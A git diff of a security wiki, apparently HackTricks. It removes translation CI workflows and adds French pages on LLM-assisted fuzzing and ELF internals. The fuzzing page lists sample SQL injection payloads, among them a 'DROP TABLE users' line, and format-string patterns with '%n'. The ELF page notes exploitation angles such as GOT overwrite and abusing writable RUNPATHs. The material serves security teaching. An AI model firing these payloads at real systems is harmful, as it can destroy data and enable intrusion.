git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete

119
.github/workflows/translate_tr.yml vendored
View File

@ -1,119 +0,0 @@
name: Translator to TR (Turkish)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: tr
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Turkish
BRANCH: tr
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.12
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
mkdir scripts
cd scripts
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete

119
.github/workflows/translate_uk.yml vendored
View File

@ -1,119 +0,0 @@
name: Translator to UK (Ukranian)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: uk
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Ukranian
BRANCH: uk
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.12
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
mkdir scripts
cd scripts
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete

119
.github/workflows/translate_zh.yml vendored
View File

@ -1,119 +0,0 @@
name: Translator to ZH (Chinese)
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
workflow_dispatch:
concurrency: zh
permissions:
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
environment: prod
env:
LANGUAGE: Chinese
BRANCH: zh
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
- name: Set up Python
uses: actions/setup-python@v2
with:
python-version: 3.12
- name: Install python dependencies
run: |
python -m pip install --upgrade pip
pip3 install openai tqdm tiktoken
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
- name: Update & install wget & translator.py
run: |
sudo apt-get update
sudo apt-get install wget -y
mkdir scripts
cd scripts
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
cd ..
- name: Download language branch #Make sure we have last version
run: |
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git checkout "$BRANCH"
git pull
git checkout master
- name: Run translation script on changed files
run: |
echo "Starting translations"
echo "Commit: $GITHUB_SHA"
# Export the OpenAI API key as an environment variable
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
# Run the translation script on each changed file
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n "$file , " >> /tmp/file_paths.txt
else
echo "Skipping $file"
fi
done
echo "Translating $(cat /tmp/file_paths.txt)"
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
# Push changes to the repository
- name: Commit and push changes
run: |
git checkout "$BRANCH"
git add -A
git commit -m "Translated $BRANCH files" || true
git push --set-upstream origin "$BRANCH"
# Build the mdBook
- name: Build mdBook
run: mdbook build
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: aws s3 sync ./book s3://hacktricks-wiki/$BRANCH --delete

147
src/AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md Normal file
View File

@ -0,0 +1,147 @@
# AI-Assisted Fuzzing & Automated Vulnerability Discovery
{{#include ../banners/hacktricks-training.md}}
## Overview
Les modèles de langage de grande taille (LLMs) peuvent dynamiser les pipelines de recherche de vulnérabilités traditionnels en générant des entrées sémantiquement riches, en faisant évoluer des grammaires, en raisonnant sur les données de crash, et même en proposant des correctifs multi-bugs. Cette page collecte les modèles les plus efficaces observés lors des finales du défi cybernétique de l'IA de la DARPA (AIxCC) et d'autres recherches publiques.
Ce qui suit n'est pas une description d'un système de compétition spécifique, mais une abstraction des techniques afin que vous puissiez les reproduire dans vos propres flux de travail.
---
## 1. LLM-Generated Seed Inputs
Les fuzzers traditionnels guidés par la couverture (AFL++, libFuzzer, Honggfuzz…) commencent avec un petit corpus de graines et mutent les octets à l'aveugle. Lorsque le format d'entrée cible est complexe (SQL, URLs, protocoles binaires personnalisés), les mutations aléatoires cassent généralement la syntaxe avant d'atteindre des branches intéressantes.
Les LLMs peuvent résoudre ce problème de démarrage en émettant des *générateurs de graines* – de courts scripts qui produisent des **entrées syntaxiquement correctes mais pertinentes pour la sécurité**. Par exemple :
```prompt
SYSTEM: You are a helpful security engineer.
USER:
Write a Python3 program that prints 200 unique SQL injection strings targeting common anti-pattern mistakes (missing quotes, numeric context, stacked queries). Ensure length ≤ 256 bytes / string so they survive common length limits.
```
```python
# gen_sqli_seeds.py (truncated)
PAYLOADS = [
"1 OR 1=1 -- ",
"' UNION SELECT NULL,NULL--",
"0; DROP TABLE users;--",
...
]
for p in PAYLOADS:
print(p)
```
Exécutez une fois et alimentez la sortie directement dans le corpus initial du fuzzer :
```bash
python3 gen_sqli_seeds.py > seeds.txt
afl-fuzz -i seeds.txt -o findings/ -- ./target @@
```
Avantages :
1. Validité sémantique → couverture plus profonde tôt.
2. Régénérable : ajustez l'invite pour se concentrer sur XSS, traversée de chemin, blobs binaires, etc.
3. Peu coûteux (< 1 ¢ avec GPT-3.5).
### Conseils
* Instruisez le modèle pour *diversifier* la longueur et l'encodage des charges utiles (UTF-8, URL-encoded, UTF-16-LE) pour contourner les filtres superficiels.
* Demandez un *script autonome unique* – évite les problèmes de formatage JSON.
---
## 2. Fuzzing par Évolution de Grammaire
Une variante plus puissante consiste à laisser le LLM **faire évoluer une grammaire** au lieu de graines concrètes. Le flux de travail (modèle "Grammar Guy") est :
1. Générer une grammaire ANTLR/Peach/LibFuzzer initiale via une invite.
2. Fuzzer pendant N minutes et collecter des métriques de couverture (bords / blocs touchés).
3. Résumer les zones du programme non couvertes et renvoyer le résumé dans le modèle :
```prompt
La grammaire précédente a déclenché 12 % des bords du programme. Fonctions non atteintes : parse_auth, handle_upload. Ajoutez / modifiez des règles pour couvrir ces points.
```
4. Fusionner les nouvelles règles, re-fuzzer, répéter.
Squelette de pseudo-code :
```python
for epoch in range(MAX_EPOCHS):
grammar = llm.refine(grammar, feedback=coverage_stats)
save(grammar, f"grammar_{epoch}.txt")
coverage_stats = run_fuzzer(grammar)
```
Points clés :
* Gardez un *budget* – chaque raffinement utilise des tokens.
* Utilisez des instructions `diff` + `patch` pour que le modèle édite plutôt que réécrive.
* Arrêtez-vous lorsque Δcoverage < ε.
---
## 3. Génération de PoV (Exploit) basée sur des agents
Après qu'un crash soit trouvé, vous avez toujours besoin d'une **preuve de vulnérabilité (PoV)** qui le déclenche de manière déterministe.
Une approche évolutive consiste à créer *des milliers* d'agents légers (<process/thread/container/prisonnier>), chacun exécutant un LLM différent (GPT-4, Claude, Mixtral) ou un réglage de température différent.
Pipeline :
1. L'analyse statique/dynamique produit des *candidats de bogue* (struct avec PC de crash, tranche d'entrée, msg de désinfection).
2. L'orchestrateur distribue les candidats aux agents.
3. Étapes de raisonnement de l'agent :
a. Reproduire le bogue localement avec `gdb` + entrée.
b. Suggérer une charge utile d'exploit minimale.
c. Valider l'exploit dans un bac à sable. Si succès → soumettre.
4. Les tentatives échouées sont **remises en file d'attente comme nouvelles graines** pour le fuzzing de couverture (boucle de rétroaction).
Avantages :
* La parallélisation cache l'instabilité d'un agent unique.
* Auto-ajustement de la température / taille du modèle basé sur le taux de succès observé.
---
## 4. Fuzzing dirigé avec des modèles de code finement ajustés
Affinez un modèle à poids ouvert (par exemple, Llama-7B) sur du code source C/C++ étiqueté avec des motifs de vulnérabilité (débordement d'entier, copie de tampon, chaîne de format). Ensuite :
1. Exécutez une analyse statique pour obtenir la liste des fonctions + AST.
2. Invitez le modèle : *“Donnez des entrées de dictionnaire de mutation susceptibles de compromettre la sécurité de la mémoire dans la fonction X”*.
3. Insérez ces tokens dans un `AFL_CUSTOM_MUTATOR`.
Exemple de sortie pour un wrapper `sprintf` :
```
{"pattern":"%99999999s"}
{"pattern":"AAAAAAAA....<1024>....%n"}
```
Empiriquement, cela réduit le temps jusqu'à l'écrasement de plus de 2× sur des cibles réelles.
---
## 5. Stratégies de Patching Guidées par l'IA
### 5.1 Super Patches
Demandez au modèle de *regrouper* les signatures de crash et de proposer un **patch unique** qui élimine la cause racine commune. Soumettez une fois, corrigez plusieurs bugs → moins de pénalités de précision dans les environnements où chaque mauvais patch coûte des points.
Plan de l'invite :
```
Here are 10 stack traces + file snippets. Identify the shared mistake and generate a unified diff fixing all occurrences.
```
### 5.2 Ratio de Patch Spéculatif
Implémentez une file d'attente où les patches validés par PoV confirmés et les patches *spéculatifs* (sans PoV) sont entrelacés dans un ratio de 1:​N ajusté aux règles de scoring (par exemple, 2 spéculatifs : 1 confirmé). Un modèle de coût surveille les pénalités par rapport aux points et ajuste automatiquement N.
---
## Mettre le Tout Ensemble
Un CRS (Système de Raisonnement Cybernétique) de bout en bout peut câbler les composants comme ceci :
```mermaid
graph TD
subgraph Discovery
A[LLM Seed/Grammar Gen] --> B[Fuzzer]
C[Fine-Tuned Model Dicts] --> B
end
B --> D[Crash DB]
D --> E[Agent PoV Gen]
E -->|valid PoV| PatchQueue
D -->|cluster| F[LLM Super-Patch]
PatchQueue --> G[Patch Submitter]
```
---
## Références
* [Trail of Bits – AIxCC finals: Tale of the tape](https://blog.trailofbits.com/2025/08/07/aixcc-finals-tale-of-the-tape/)
* [CTF Radiooo AIxCC finalist interviews](https://www.youtube.com/@ctfradiooo)
{{#include ../banners/hacktricks-training.md}}

20
src/AI/README.md
View File

@ -1,4 +1,4 @@
# AI en cybersécurité
# IA en cybersécurité
{{#include ../banners/hacktricks-training.md}}
@ -40,28 +40,34 @@ AI-llm-architecture/README.md
AI-Risk-Frameworks.md
{{#endref}}
### Sécurité des prompts d'IA
### Sécurité des prompts IA
Les LLMs ont fait exploser l'utilisation de l'IA ces dernières années, mais ils ne sont pas parfaits et peuvent être trompés par des prompts adversariaux. C'est un sujet très important pour comprendre comment utiliser l'IA en toute sécurité et comment l'attaquer :
Les LLMs ont fait exploser l'utilisation de l'IA ces dernières années, mais ils ne sont pas parfaits et peuvent être trompés par des prompts adverses. C'est un sujet très important pour comprendre comment utiliser l'IA en toute sécurité et comment l'attaquer :
{{#ref}}
AI-Prompts.md
{{#endref}}
### RCE des modèles d'IA
### RCE des modèles IA
Il est très courant pour les développeurs et les entreprises d'exécuter des modèles téléchargés depuis Internet, cependant, le simple chargement d'un modèle peut suffire à exécuter du code arbitraire sur le système. C'est un sujet très important pour comprendre comment utiliser l'IA en toute sécurité et comment l'attaquer :
Il est très courant pour les développeurs et les entreprises d'exécuter des modèles téléchargés depuis Internet, cependant, simplement charger un modèle peut suffire à exécuter du code arbitraire sur le système. C'est un sujet très important pour comprendre comment utiliser l'IA en toute sécurité et comment l'attaquer :
{{#ref}}
AI-Models-RCE.md
{{#endref}}
### Protocole de contexte des modèles d'IA
### Protocole de contexte des modèles IA
MCP (Model Context Protocol) est un protocole qui permet aux clients agents d'IA de se connecter à des outils externes et à des sources de données de manière plug-and-play. Cela permet des flux de travail complexes et des interactions entre les modèles d'IA et les systèmes externes :
MCP (Model Context Protocol) est un protocole qui permet aux clients agents IA de se connecter à des outils externes et à des sources de données de manière plug-and-play. Cela permet des flux de travail complexes et des interactions entre les modèles IA et les systèmes externes :
{{#ref}}
AI-MCP-Servers.md
{{#endref}}
### Fuzzing assisté par IA et découverte automatisée de vulnérabilités
{{#ref}}
AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

123
src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
View File

@ -37,7 +37,7 @@ Segment Sections...
07
08 .init_array .fini_array .dynamic .got
```
Le programme précédent a **9 en-têtes de programme**, puis, le **mappage des segments** indique dans quel en-tête de programme (de 00 à 08) **chaque section est située**.
Le programme précédent a **9 en-têtes de programme**, ensuite, le **mappage des segments** indique dans quel en-tête de programme (de 00 à 08) **chaque section est située**.
### PHDR - En-tête de Programme
@ -47,6 +47,8 @@ Contient les tables d'en-têtes de programme et les métadonnées elles-mêmes.
Indique le chemin du chargeur à utiliser pour charger le binaire en mémoire.
> Astuce : Les binaires liés statiquement ou les binaires static-PIE n'auront pas d'entrée `INTERP`. Dans ces cas, il n'y a pas de chargeur dynamique impliqué, ce qui désactive les techniques qui en dépendent (par exemple, `ret2dlresolve`).
### LOAD
Ces en-têtes sont utilisés pour indiquer **comment charger un binaire en mémoire.**\
@ -62,6 +64,12 @@ Cet en-tête aide à lier les programmes à leurs dépendances de bibliothèque
Cela stocke des informations sur les métadonnées du fournisseur concernant le binaire.
- Sur x86-64, `readelf -n` affichera les drapeaux `GNU_PROPERTY_X86_FEATURE_1_*` à l'intérieur de `.note.gnu.property`. Si vous voyez `IBT` et/ou `SHSTK`, le binaire a été construit avec CET (Suivi de Branche Indirect et/ou Pile d'Ombre). Cela impacte ROP/JOP car les cibles de branchement indirect doivent commencer par une instruction `ENDBR64` et les retours sont vérifiés par rapport à une pile d'ombre. Voir la page CET pour des détails et des notes de contournement.
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
### GNU_EH_FRAME
Définit l'emplacement des tables de déroulement de pile, utilisées par les débogueurs et les fonctions d'exécution des exceptions C++.
@ -70,13 +78,21 @@ Définit l'emplacement des tables de déroulement de pile, utilisées par les d
Contient la configuration de la défense contre l'exécution de la pile. Si activé, le binaire ne pourra pas exécuter de code depuis la pile.
- Vérifiez avec `readelf -l ./bin | grep GNU_STACK`. Pour forcer le changement pendant les tests, vous pouvez utiliser `execstack -s|-c ./bin`.
### GNU_RELRO
Indique la configuration RELRO (Relocation Read-Only) du binaire. Cette protection marquera comme en lecture seule certaines sections de la mémoire (comme le `GOT` ou les tables `init` et `fini`) après que le programme a été chargé et avant qu'il ne commence à s'exécuter.
Dans l'exemple précédent, il copie 0x3b8 octets à 0x1fc48 en lecture seule affectant les sections `.init_array .fini_array .dynamic .got .data .bss`.
Notez que RELRO peut être partiel ou complet, la version partielle ne protège pas la section **`.plt.got`**, qui est utilisée pour **lazy binding** et nécessite cet espace mémoire pour avoir **des permissions d'écriture** afin d'écrire l'adresse des bibliothèques lors de la première recherche de leur emplacement.
Notez que RELRO peut être partiel ou complet, la version partielle ne protège pas la section **`.plt.got`**, qui est utilisée pour le **lazy binding** et a besoin de cet espace mémoire pour avoir **des permissions d'écriture** afin d'écrire l'adresse des bibliothèques la première fois que leur emplacement est recherché.
> Pour des techniques d'exploitation et des notes de contournement à jour, consultez la page dédiée :
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
### TLS
@ -145,12 +161,12 @@ CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
```
Il indique également l'emplacement, le décalage, les permissions mais aussi le **type de données** que sa section contient.
Il indique également l'emplacement, le décalage, les permissions mais aussi le **type de données** que la section contient.
### Sections Méta
- **Table des chaînes** : Elle contient toutes les chaînes nécessaires au fichier ELF (mais pas celles réellement utilisées par le programme). Par exemple, elle contient des noms de sections comme `.text` ou `.data`. Et si `.text` est à l'offset 45 dans la table des chaînes, elle utilisera le numéro **45** dans le champ **nom**.
- Pour trouver où se trouve la table des chaînes, l'ELF contient un pointeur vers la table des chaînes.
- Pour trouver où se trouve la table des chaînes, le ELF contient un pointeur vers la table des chaînes.
- **Table des symboles** : Elle contient des informations sur les symboles comme le nom (offset dans la table des chaînes), l'adresse, la taille et plus de métadonnées sur le symbole.
### Sections Principales
@ -194,6 +210,10 @@ Chaque entrée de symbole contient :
- **Valeur** (adresse en mémoire)
- **Taille**
#### Versionnement des symboles GNU (dynsym/dynstr/gnu.version)
La glibc moderne utilise des versions de symboles. Vous verrez des entrées dans `.gnu.version` et `.gnu.version_r` et des noms de symboles comme `strlen@GLIBC_2.17`. Le chargeur dynamique peut exiger une version spécifique lors de la résolution d'un symbole. Lors de la création de relocations manuelles (par exemple, ret2dlresolve), vous devez fournir l'index de version correct, sinon la résolution échoue.
## Section dynamique
```
readelf -d lnstat
@ -231,6 +251,23 @@ Tag Type Name/Value
```
Le répertoire NEEDED indique que le programme **doit charger la bibliothèque mentionnée** pour continuer. Le répertoire NEEDED se complète une fois que la **bibliothèque partagée est pleinement opérationnelle et prête** à être utilisée.
### Ordre de recherche du chargeur dynamique (RPATH/RUNPATH, $ORIGIN)
Les entrées `DT_RPATH` (déprécié) et/ou `DT_RUNPATH` influencent l'endroit où le chargeur dynamique recherche les dépendances. Ordre approximatif :
- `LD_LIBRARY_PATH` (ignoré pour les programmes setuid/sgid ou autrement "exécution sécurisée")
- `DT_RPATH` (uniquement si `DT_RUNPATH` est absent)
- `DT_RUNPATH`
- `ld.so.cache`
- répertoires par défaut comme `/lib64`, `/usr/lib64`, etc.
`$ORIGIN` peut être utilisé à l'intérieur de RPATH/RUNPATH pour faire référence au répertoire de l'objet principal. Du point de vue d'un attaquant, cela a de l'importance lorsque vous contrôlez la disposition du système de fichiers ou l'environnement. Pour les binaires renforcés (AT_SECURE), la plupart des variables d'environnement sont ignorées par le chargeur.
- Inspecter avec : `readelf -d ./bin | egrep -i 'r(path|unpath)'`
- Test rapide : `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (montre les décisions de chemin de recherche)
> Astuce pour l'élévation de privilèges : Préférez abuser des RUNPATHs écrits ou des chemins relatifs à `$ORIGIN` mal configurés qui vous appartiennent. LD_PRELOAD/LD_AUDIT sont ignorés dans les contextes d'exécution sécurisée (setuid).
## Relocalisations
Le chargeur doit également relocaliser les dépendances après les avoir chargées. Ces relocalisations sont indiquées dans la table de relocalisation dans les formats REL ou RELA et le nombre de relocalisations est donné dans les sections dynamiques RELSZ ou RELASZ.
@ -274,7 +311,6 @@ Offset Info Type Sym. Value Sym. Name + Addend
00000001fea0 000900000402 R_AARCH64_JUMP_SL 0000000000000000 perror@GLIBC_2.17 + 0
00000001fea8 000b00000402 R_AARCH64_JUMP_SL 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0
00000001feb0 000c00000402 R_AARCH64_JUMP_SL 0000000000000000 putc@GLIBC_2.17 + 0
00000001feb8 000d00000402 R_AARCH64_JUMP_SL 0000000000000000 opendir@GLIBC_2.17 + 0
00000001fec0 000e00000402 R_AARCH64_JUMP_SL 0000000000000000 fputc@GLIBC_2.17 + 0
00000001fec8 001100000402 R_AARCH64_JUMP_SL 0000000000000000 snprintf@GLIBC_2.17 + 0
00000001fed0 001200000402 R_AARCH64_JUMP_SL 0000000000000000 __snprintf_chk@GLIBC_2.17 + 0
@ -314,7 +350,7 @@ Par exemple, toute section de type `R_AARCH64_RELATIV` devrait avoir modifié l'
### Relocalisations Dynamiques et GOT
La relocalisation pourrait également référencer un symbole externe (comme une fonction d'une dépendance). Comme la fonction malloc de libC. Ensuite, le chargeur, en chargeant libC à une adresse, vérifie où la fonction malloc est chargée, il écrira cette adresse dans la table GOT (Global Offset Table) (indiquée dans la table de relocalisation) où l'adresse de malloc devrait être spécifiée.
La relocalisation pourrait également référencer un symbole externe (comme une fonction d'une dépendance). Comme la fonction malloc de libC. Ensuite, le chargeur, lors du chargement de libC à une adresse, vérifie où la fonction malloc est chargée, il écrira cette adresse dans la table GOT (Global Offset Table) (indiquée dans la table de relocalisation) où l'adresse de malloc devrait être spécifiée.
### Table de Liaison de Procédure
@ -322,6 +358,24 @@ La section PLT permet d'effectuer un liaison paresseuse, ce qui signifie que la
Ainsi, lorsqu'un programme appelle malloc, il appelle en réalité l'emplacement correspondant de `malloc` dans le PLT (`malloc@plt`). La première fois qu'il est appelé, il résout l'adresse de `malloc` et la stocke, donc la prochaine fois que `malloc` est appelé, cette adresse est utilisée au lieu du code PLT.
#### Comportements de liaison modernes qui impactent l'exploitation
- `-z now` (Full RELRO) désactive la liaison paresseuse ; les entrées PLT existent toujours mais GOT/PLT est mappé en lecture seule, donc des techniques comme **GOT overwrite** et **ret2dlresolve** ne fonctionneront pas contre le binaire principal (les bibliothèques peuvent encore être partiellement RELRO). Voir :
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
- `-fno-plt` fait que le compilateur appelle des fonctions externes via l'**entrée GOT directement** au lieu de passer par le stub PLT. Vous verrez des séquences d'appels comme `mov reg, [got]; call reg` au lieu de `call func@plt`. Cela réduit l'abus d'exécution spéculative et modifie légèrement la recherche de gadgets ROP autour des stubs PLT.
- PIE vs static-PIE : PIE (ET_DYN avec `INTERP`) nécessite le chargeur dynamique et prend en charge la machinerie PLT/GOT habituelle. Static-PIE (ET_DYN sans `INTERP`) a des relocalisations appliquées par le chargeur du noyau et pas de `ld.so` ; attendez-vous à aucune résolution PLT à l'exécution.
> Si GOT/PLT n'est pas une option, pivotez vers d'autres pointeurs de code écrivable ou utilisez ROP/SROP classique dans libc.
{{#ref}}
../arbitrary-write-2-exec/aw2exec-got-plt.md
{{#endref}}
## Initialisation du Programme
Après que le programme a été chargé, il est temps pour lui de s'exécuter. Cependant, le premier code qui est exécuté **n'est pas toujours la fonction `main`**. Cela est dû au fait que, par exemple, en C++, si une **variable globale est un objet d'une classe**, cet objet doit être **initialisé** **avant** que main ne s'exécute, comme dans :
@ -345,7 +399,7 @@ printf("Main\n");
return 0;
}
```
Notez que ces variables globales sont situées dans `.data` ou `.bss`, mais dans les listes `__CTOR_LIST__` et `__DTOR_LIST__`, les objets à initialiser et à détruire sont stockés afin de les suivre.
Notez que ces variables globales se trouvent dans `.data` ou `.bss`, mais dans les listes `__CTOR_LIST__` et `__DTOR_LIST__`, les objets à initialiser et à détruire sont stockés afin de les suivre.
À partir du code C, il est possible d'obtenir le même résultat en utilisant les extensions GNU :
```c
@ -354,29 +408,66 @@ __attributte__((destructor)) //Add to the destructor list
```
D'un point de vue du compilateur, pour exécuter ces actions avant et après l'exécution de la fonction `main`, il est possible de créer une fonction `init` et une fonction `fini` qui seraient référencées dans la section dynamique comme **`INIT`** et **`FIN`**. et sont placées dans les sections `init` et `fini` de l'ELF.
L'autre option, comme mentionné, est de référencer les listes **`__CTOR_LIST__`** et **`__DTOR_LIST__`** dans les entrées **`INIT_ARRAY`** et **`FINI_ARRAY`** de la section dynamique et la longueur de celles-ci est indiquée par **`INIT_ARRAYSZ`** et **`FINI_ARRAYSZ`**. Chaque entrée est un pointeur de fonction qui sera appelé sans arguments.
L'autre option, comme mentionné, est de référencer les listes **`__CTOR_LIST__`** et **`__DTOR_LIST__** dans les entrées **`INIT_ARRAY`** et **`FINI_ARRAY`** dans la section dynamique et la longueur de celles-ci est indiquée par **`INIT_ARRAYSZ`** et **`FINI_ARRAYSZ`**. Chaque entrée est un pointeur de fonction qui sera appelé sans arguments.
De plus, il est également possible d'avoir un **`PREINIT_ARRAY`** avec des **pointeurs** qui seront exécutés **avant** les pointeurs de **`INIT_ARRAY`**.
De plus, il est également possible d'avoir un **`PREINIT_ARRAY`** avec des **pointeurs** qui seront exécutés **avant** les pointeurs **`INIT_ARRAY`**.
#### Remarque d'exploitation
- Sous Partial RELRO, ces tableaux vivent dans des pages qui sont encore modifiables avant que `ld.so` ne change `PT_GNU_RELRO` en lecture seule. Si vous obtenez une écriture arbitraire suffisamment tôt ou si vous pouvez cibler les tableaux modifiables d'une bibliothèque, vous pouvez détourner le flux de contrôle en écrasant une entrée avec une fonction de votre choix. Sous Full RELRO, ils sont en lecture seule à l'exécution.
- Pour l'abus de liaison paresseuse du chargeur dynamique pour résoudre des symboles arbitraires à l'exécution, voir la page dédiée :
{{#ref}}
../rop-return-oriented-programing/ret2dlresolve.md
{{#endref}}
### Ordre d'initialisation
1. Le programme est chargé en mémoire, les variables globales statiques sont initialisées dans **`.data`** et celles non initialisées mises à zéro dans **`.bss`**.
1. Le programme est chargé en mémoire, les variables globales statiques sont initialisées dans **`.data`** et celles non initialisées sont mises à zéro dans **`.bss`**.
2. Toutes les **dépendances** pour le programme ou les bibliothèques sont **initialisées** et le **lien dynamique** est exécuté.
3. Les fonctions **`PREINIT_ARRAY`** sont exécutées.
4. Les fonctions **`INIT_ARRAY`** sont exécutées.
5. S'il y a une entrée **`INIT`**, elle est appelée.
6. Si c'est une bibliothèque, dlopen se termine ici, si c'est un programme, il est temps d'appeler le **vrai point d'entrée** (fonction `main`).
6. S'il s'agit d'une bibliothèque, dlopen se termine ici, s'il s'agit d'un programme, il est temps d'appeler le **vrai point d'entrée** (fonction `main`).
## Stockage Local par Fil (TLS)
## Stockage local par thread (TLS)
Ils sont définis en utilisant le mot-clé **`__thread_local`** en C++ ou l'extension GNU **`__thread`**.
Chaque fil maintiendra un emplacement unique pour cette variable, donc seul le fil peut accéder à sa variable.
Chaque thread maintiendra un emplacement unique pour cette variable afin que seul le thread puisse accéder à sa variable.
Lorsque cela est utilisé, les sections **`.tdata`** et **`.tbss`** sont utilisées dans l'ELF. Qui sont comme `.data` (initialisé) et `.bss` (non initialisé) mais pour le TLS.
